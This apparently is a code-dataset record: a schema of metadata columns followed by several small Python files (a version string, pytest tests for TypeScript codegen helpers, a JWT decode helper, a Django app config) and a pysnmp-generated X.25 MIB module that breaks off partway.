hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
23d42b08c80fa43859673ff12cfe8e5f590978e7
16
py
Python
txriakdb/__init__.py
lunay001/txriakdb
9e935aef32020de684dcd415bce24888bdcf9c59
[ "Unlicense" ]
null
null
null
txriakdb/__init__.py
lunay001/txriakdb
9e935aef32020de684dcd415bce24888bdcf9c59
[ "Unlicense" ]
null
null
null
txriakdb/__init__.py
lunay001/txriakdb
9e935aef32020de684dcd415bce24888bdcf9c59
[ "Unlicense" ]
null
null
null
version = '0.0a'
16
16
0.625
3
16
3.333333
1
0
0
0
0
0
0
0
0
0
0
0.142857
0.125
16
1
16
16
0.571429
0
0
0
0
0
0.235294
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
23ea50481b860baaf42f5965dfa067852741a124
1,248
py
Python
tests/plugin/utils_test.py
ammokhov/cloudformation-cli-typescript-plugin
a70b01bda03362b8597f9f2ec4b88767390845ba
[ "MIT" ]
15
2021-04-09T20:46:48.000Z
2022-03-02T16:28:27.000Z
tests/plugin/utils_test.py
ammokhov/cloudformation-cli-typescript-plugin
a70b01bda03362b8597f9f2ec4b88767390845ba
[ "MIT" ]
36
2020-04-14T19:18:46.000Z
2021-01-24T00:12:38.000Z
tests/plugin/utils_test.py
ammokhov/cloudformation-cli-typescript-plugin
a70b01bda03362b8597f9f2ec4b88767390845ba
[ "MIT" ]
4
2020-08-28T20:03:37.000Z
2020-12-07T20:50:25.000Z
# fixture and parameter have the same name # pylint: disable=redefined-outer-name import pytest from rpdk.core.exceptions import WizardValidationError from rpdk.typescript.utils import ( safe_reserved, validate_codegen_model as validate_codegen_model_factory, ) DEFAULT = object() @pytest.fixture def validate_codegen_model(): return validate_codegen_model_factory(DEFAULT) def test_safe_reserved_safe_string(): assert safe_reserved("foo") == "foo" def test_safe_reserved_unsafe_javascript_string(): assert safe_reserved("null") == "null_" def test_safe_reserved_unsafe_typescript_string(): assert safe_reserved("interface") == "interface_" def test_validate_codegen_model_choose_1(validate_codegen_model): assert validate_codegen_model("1") == "1" def test_validate_codegen_model_choose_2(validate_codegen_model): assert validate_codegen_model("2") == "2" def test_validate_codegen_model_invalid_selection(validate_codegen_model): with pytest.raises(WizardValidationError) as excinfo: validate_codegen_model("3") assert "Invalid selection." in str(excinfo.value) def test_validate_codegen_model_no_selection(validate_codegen_model): assert validate_codegen_model("") == DEFAULT
27.130435
74
0.794872
158
1,248
5.860759
0.329114
0.259179
0.345572
0.095032
0.406048
0.220302
0.149028
0
0
0
0
0.006381
0.120994
1,248
45
75
27.733333
0.837739
0.061699
0
0
0
0
0.048801
0
0
0
0
0
0.269231
1
0.307692
false
0
0.115385
0.038462
0.461538
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
9b02d11e9eca4c6b9c31524c4204da198e34c356
381
py
Python
nautilus/auth/util/read_session_token.py
AlecAivazis/python
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
[ "MIT" ]
9
2019-02-17T01:33:43.000Z
2022-02-03T02:14:12.000Z
nautilus/auth/util/read_session_token.py
AlecAivazis/python
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
[ "MIT" ]
59
2016-03-14T15:55:50.000Z
2016-07-17T15:22:56.000Z
nautilus/auth/util/read_session_token.py
AlecAivazis/python
70e2acef27a2f87355590be1a6ca60ce3ab4d09c
[ "MIT" ]
3
2017-08-03T20:18:59.000Z
2018-07-18T02:03:41.000Z
# external imports import jwt # local imports from .token_encryption_algorithm import token_encryption_algorithm def read_session_token(secret_key, token): """ This function verifies the token using the secret key and returns its contents. """ return jwt.decode(token.encode('utf-8'), secret_key, algorithms=[token_encryption_algorithm()] )
29.307692
77
0.724409
47
381
5.659574
0.617021
0.169173
0.270677
0
0
0
0
0
0
0
0
0.003268
0.19685
381
13
78
29.307692
0.866013
0.291339
0
0
0
0
0.020661
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.666667
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
9b142e375fe133f5a07d7ea33ed54addf35a8beb
56
py
Python
trive/apps/claim/__init__.py
trivenews/central
932d20dc21b133d93c65e7fb8e857e908e98f2fb
[ "BSD-3-Clause" ]
null
null
null
trive/apps/claim/__init__.py
trivenews/central
932d20dc21b133d93c65e7fb8e857e908e98f2fb
[ "BSD-3-Clause" ]
null
null
null
trive/apps/claim/__init__.py
trivenews/central
932d20dc21b133d93c65e7fb8e857e908e98f2fb
[ "BSD-3-Clause" ]
null
null
null
default_app_config = 'trive.apps.claim.app.ClaimConfig'
28
55
0.821429
8
56
5.5
0.875
0
0
0
0
0
0
0
0
0
0
0
0.053571
56
1
56
56
0.830189
0
0
0
0
0
0.571429
0.571429
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
f197108710c037695437d36c30050cbe1c0312b8
86,151
py
Python
pysnmp_mibs/RFC1382-MIB.py
jackjack821/pysnmp-mibs
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
[ "BSD-2-Clause" ]
6
2017-04-21T13:48:08.000Z
2022-01-06T19:42:52.000Z
pysnmp_mibs/RFC1382-MIB.py
jackjack821/pysnmp-mibs
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
[ "BSD-2-Clause" ]
1
2020-05-05T16:42:25.000Z
2020-05-05T16:42:25.000Z
pysnmp_mibs/RFC1382-MIB.py
jackjack821/pysnmp-mibs
9835ea0bb2420715caf4ee9aaa07d59bb263acd6
[ "BSD-2-Clause" ]
6
2020-02-08T20:28:49.000Z
2021-09-14T13:36:46.000Z
# # PySNMP MIB module RFC1382-MIB (http://pysnmp.sf.net) # ASN.1 source http://mibs.snmplabs.com:80/asn1/RFC1382-MIB # Produced by pysmi-0.0.7 at Sun Feb 14 00:26:33 2016 # On host bldfarm platform Linux version 4.1.13-100.fc21.x86_64 by user goose # Using Python version 3.5.0 (default, Jan 5 2016, 17:11:52) # ( OctetString, ObjectIdentifier, Integer, ) = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer") ( NamedValues, ) = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ( ConstraintsUnion, ValueSizeConstraint, SingleValueConstraint, ValueRangeConstraint, ConstraintsIntersection, ) = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "ValueSizeConstraint", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsIntersection") ( PositiveInteger, ) = mibBuilder.importSymbols("RFC1253-MIB", "PositiveInteger") ( EntryStatus, ) = mibBuilder.importSymbols("RFC1271-MIB", "EntryStatus") ( IfIndexType, ) = mibBuilder.importSymbols("RFC1381-MIB", "IfIndexType") ( ModuleCompliance, NotificationGroup, ) = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") ( IpAddress, iso, ObjectIdentity, MibIdentifier, NotificationType, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Counter32, NotificationType, transmission, Bits, TimeTicks, Integer32, Gauge32, Counter64, Unsigned32, ) = mibBuilder.importSymbols("SNMPv2-SMI", "IpAddress", "iso", "ObjectIdentity", "MibIdentifier", "NotificationType", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Counter32", "NotificationType", "transmission", "Bits", "TimeTicks", "Integer32", "Gauge32", "Counter64", "Unsigned32") ( TextualConvention, DisplayString, ) = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString") x25 = MibIdentifier((1, 3, 6, 1, 2, 1, 10, 5)) class X121Address(OctetString): subtypeSpec = OctetString.subtypeSpec+ValueSizeConstraint(0,17) x25AdmnTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 1), ) if mibBuilder.loadTexts: x25AdmnTable.setDescription('This table contains the administratively\n set configuration parameters for an X.25\n Packet Level Entity (PLE).\n\n Most of the objects in this table have\n corresponding objects in the x25OperTable.\n This table contains the values as last set\n by the administrator. The x25OperTable\n contains the values actually in use by an\n X.25 PLE.\n\n Changing an administrative value may or may\n not change a current operating value. The\n operating value may not change until the\n interface is restarted. Some\n implementations may change the values\n immediately upon changing the administrative\n table. All implementations are required to\n load the values from the administrative\n table when initializing a PLE.') x25AdmnEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 1, 1), ).setIndexNames((0, "RFC1382-MIB", "x25AdmnIndex")) if mibBuilder.loadTexts: x25AdmnEntry.setDescription('Entries of x25AdmnTable.') x25AdmnIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 1), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25AdmnIndex.setDescription('The ifIndex value for the X.25 Interface.') x25AdmnInterfaceMode = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("dte", 1), ("dce", 2), ("dxe", 3),))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnInterfaceMode.setDescription('Identifies DCE/DTE mode in which the\n interface operates. A value of dxe\n indicates the mode will be determined by XID\n negotiation.') x25AdmnMaxActiveCircuits = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnMaxActiveCircuits.setDescription('The maximum number of circuits this PLE can\n support; including PVCs.') x25AdmnPacketSequencing = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2,))).clone(namedValues=NamedValues(("modulo8", 1), ("modulo128", 2),))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnPacketSequencing.setDescription('The modulus of the packet sequence number\n space.') x25AdmnRestartTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 5), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRestartTimer.setDescription('The T20 restart timer in milliseconds.') x25AdmnCallTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 6), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnCallTimer.setDescription('The T21 Call timer in milliseconds.') x25AdmnResetTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 7), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnResetTimer.setDescription('The T22 Reset timer in milliseconds.') x25AdmnClearTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 8), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnClearTimer.setDescription('The T23 Clear timer in milliseconds.') x25AdmnWindowTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 9), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnWindowTimer.setDescription('The T24 window status transmission timer in\n milliseconds. A value of 2147483647\n indicates no window timer in use.') x25AdmnDataRxmtTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 10), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnDataRxmtTimer.setDescription('The T25 data retransmission timer in\n\n\n milliseconds. A value of 2147483647\n indicates no data retransmission timer in\n use.') x25AdmnInterruptTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 11), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnInterruptTimer.setDescription('The T26 interrupt timer in milliseconds. A\n value of 2147483647 indicates no interrupt\n timer in use.') x25AdmnRejectTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 12), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRejectTimer.setDescription('The T27 Reject retransmission timer in\n milliseconds. A value of 2147483647\n indicates no reject timer in use.') x25AdmnRegistrationRequestTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 13), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRegistrationRequestTimer.setDescription('The T28 registration timer in milliseconds.\n A value of 2147483647 indicates no\n registration timer in use.') x25AdmnMinimumRecallTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 14), PositiveInteger()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnMinimumRecallTimer.setDescription('Minimum time interval between unsuccessful\n call attempts in milliseconds.') x25AdmnRestartCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRestartCount.setDescription('The R20 restart retransmission count.') x25AdmnResetCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnResetCount.setDescription('The r22 Reset retransmission count.') x25AdmnClearCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 17), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnClearCount.setDescription('The r23 Clear retransmission count.') x25AdmnDataRxmtCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 18), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnDataRxmtCount.setDescription('The R25 Data retransmission count. This\n value is irrelevant if the\n x25AdmnDataRxmtTimer indicates no timer in\n use.') x25AdmnRejectCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRejectCount.setDescription('The R27 reject retransmission count. This\n value is irrelevant if the\n x25AdmnRejectTimer indicates no timer in\n use.') x25AdmnRegistrationRequestCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 20), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnRegistrationRequestCount.setDescription('The R28 Registration retransmission Count.\n This value is irrelevant if the\n x25AdmnRegistrationRequestTimer indicates no\n timer in use.') x25AdmnNumberPVCs = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 21), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096))).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnNumberPVCs.setDescription('The number of PVC configured for this PLE.\n The PVCs use channel numbers from 1 to this\n number.') x25AdmnDefCallParamId = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 22), ObjectIdentifier()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnDefCallParamId.setDescription('This identifies the instance of the\n x25CallParmIndex for the entry in the\n x25CallParmTable which contains the default\n call parameters for this PLE.') x25AdmnLocalAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 23), X121Address()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnLocalAddress.setDescription('The local address for this PLE subnetwork.\n A zero length address maybe returned by PLEs\n that only support PVCs.') x25AdmnProtocolVersionSupported = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 1, 1, 24), ObjectIdentifier()).setMaxAccess("readwrite") if mibBuilder.loadTexts: x25AdmnProtocolVersionSupported.setDescription('Identifies the version of the X.25 protocol\n this interface should support. Object\n identifiers for common versions are defined\n below in the x25ProtocolVersion subtree.') x25OperTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 2), ) if mibBuilder.loadTexts: x25OperTable.setDescription('The operation parameters in use by the X.25\n PLE.') x25OperEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 2, 1), ).setIndexNames((0, "RFC1382-MIB", "x25OperIndex")) if mibBuilder.loadTexts: x25OperEntry.setDescription('Entries of x25OperTable.') x25OperIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 1), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperIndex.setDescription('The ifIndex value for the X.25 interface.') x25OperInterfaceMode = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("dte", 1), ("dce", 2), ("dxe", 3),))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperInterfaceMode.setDescription('Identifies DCE/DTE mode in which the\n interface operates. A value of dxe\n indicates the role will be determined by XID\n negotiation at the Link Layer and that\n negotiation has not yet taken place.') x25OperMaxActiveCircuits = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperMaxActiveCircuits.setDescription('Maximum number of circuits this PLE can\n support.') x25OperPacketSequencing = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2,))).clone(namedValues=NamedValues(("modulo8", 1), ("modulo128", 2),))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperPacketSequencing.setDescription('The modulus of the packet sequence number\n space.') x25OperRestartTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 5), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRestartTimer.setDescription('The T20 restart timer in milliseconds.') x25OperCallTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 6), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperCallTimer.setDescription('The T21 Call timer in milliseconds.') x25OperResetTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 7), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperResetTimer.setDescription('The T22 Reset timer in milliseconds.') x25OperClearTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 8), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperClearTimer.setDescription('The T23 Clear timer in milliseconds.') x25OperWindowTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 9), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperWindowTimer.setDescription('The T24 window status transmission timer\n\n\n milliseconds. A value of 2147483647\n indicates no window timer in use.') x25OperDataRxmtTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 10), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperDataRxmtTimer.setDescription('The T25 Data Retransmission timer in\n milliseconds. A value of 2147483647\n indicates no data retransmission timer in\n use.') x25OperInterruptTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 11), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperInterruptTimer.setDescription('The T26 Interrupt timer in milliseconds. A\n value of 2147483647 indicates interrupts are\n not being used.') x25OperRejectTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 12), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRejectTimer.setDescription('The T27 Reject retransmission timer in\n milliseconds. A value of 2147483647\n indicates no reject timer in use.') x25OperRegistrationRequestTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 13), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRegistrationRequestTimer.setDescription('The T28 registration timer in milliseconds.\n A value of 2147483647 indicates no\n registration timer in use.') x25OperMinimumRecallTimer = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 14), PositiveInteger()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperMinimumRecallTimer.setDescription('Minimum time interval between unsuccessful\n call attempts in milliseconds.') x25OperRestartCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRestartCount.setDescription('The R20 restart retransmission count.') x25OperResetCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperResetCount.setDescription('The r22 Reset retransmission count.') x25OperClearCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 17), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperClearCount.setDescription('The r23 Clear retransmission count.') x25OperDataRxmtCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 18), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperDataRxmtCount.setDescription('The R25 Data retransmission count. This\n value is undefined if the\n x25OperDataRxmtTimer indicates no timer in\n use.') x25OperRejectCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRejectCount.setDescription('The R27 reject retransmission count. This\n value is undefined if the x25OperRejectTimer\n indicates no timer in use.') x25OperRegistrationRequestCount = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 20), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperRegistrationRequestCount.setDescription('The R28 Registration retransmission Count.\n This value is undefined if the\n x25OperREgistrationRequestTimer indicates no\n timer in use.') x25OperNumberPVCs = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 21), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,4096))).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperNumberPVCs.setDescription('The number of PVC configured for this PLE.\n The PVCs use channel numbers from 1 to this\n number.') x25OperDefCallParamId = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 22), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperDefCallParamId.setDescription('This identifies the instance of the\n x25CallParmIndex for the entry in the\n x25CallParmTable that contains the default\n call parameters for this PLE.') x25OperLocalAddress = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 23), X121Address()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperLocalAddress.setDescription('The local address for this PLE subnetwork.\n A zero length address maybe returned by PLEs\n that only support PVCs.') x25OperDataLinkId = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 24), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperDataLinkId.setDescription('This identifies the instance of the index\n object in the first table of the most device\n specific MIB for the interface used by this\n PLE.') x25OperProtocolVersionSupported = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 2, 1, 25), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25OperProtocolVersionSupported.setDescription('Identifies the version of the X.25 protocol\n this interface supports. Object identifiers\n for common versions are defined below in the\n x25ProtocolVersion subtree.') x25StatTable = MibTable((1, 3, 6, 1, 2, 1, 10, 5, 3), ) if mibBuilder.loadTexts: x25StatTable.setDescription('Statistics information about this X.25\n PLE.') x25StatEntry = MibTableRow((1, 3, 6, 1, 2, 1, 10, 5, 3, 1), ).setIndexNames((0, "RFC1382-MIB", "x25StatIndex")) if mibBuilder.loadTexts: x25StatEntry.setDescription('Entries of the x25StatTable.') x25StatIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 1), IfIndexType()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatIndex.setDescription('The ifIndex value for the X.25 interface.') x25StatInCalls = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: x25StatInCalls.setDescription('The number of incoming calls received.') x25StatInCallRefusals = MibTableColumn((1, 3, 6, 1, 2, 1, 10, 5, 3, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: 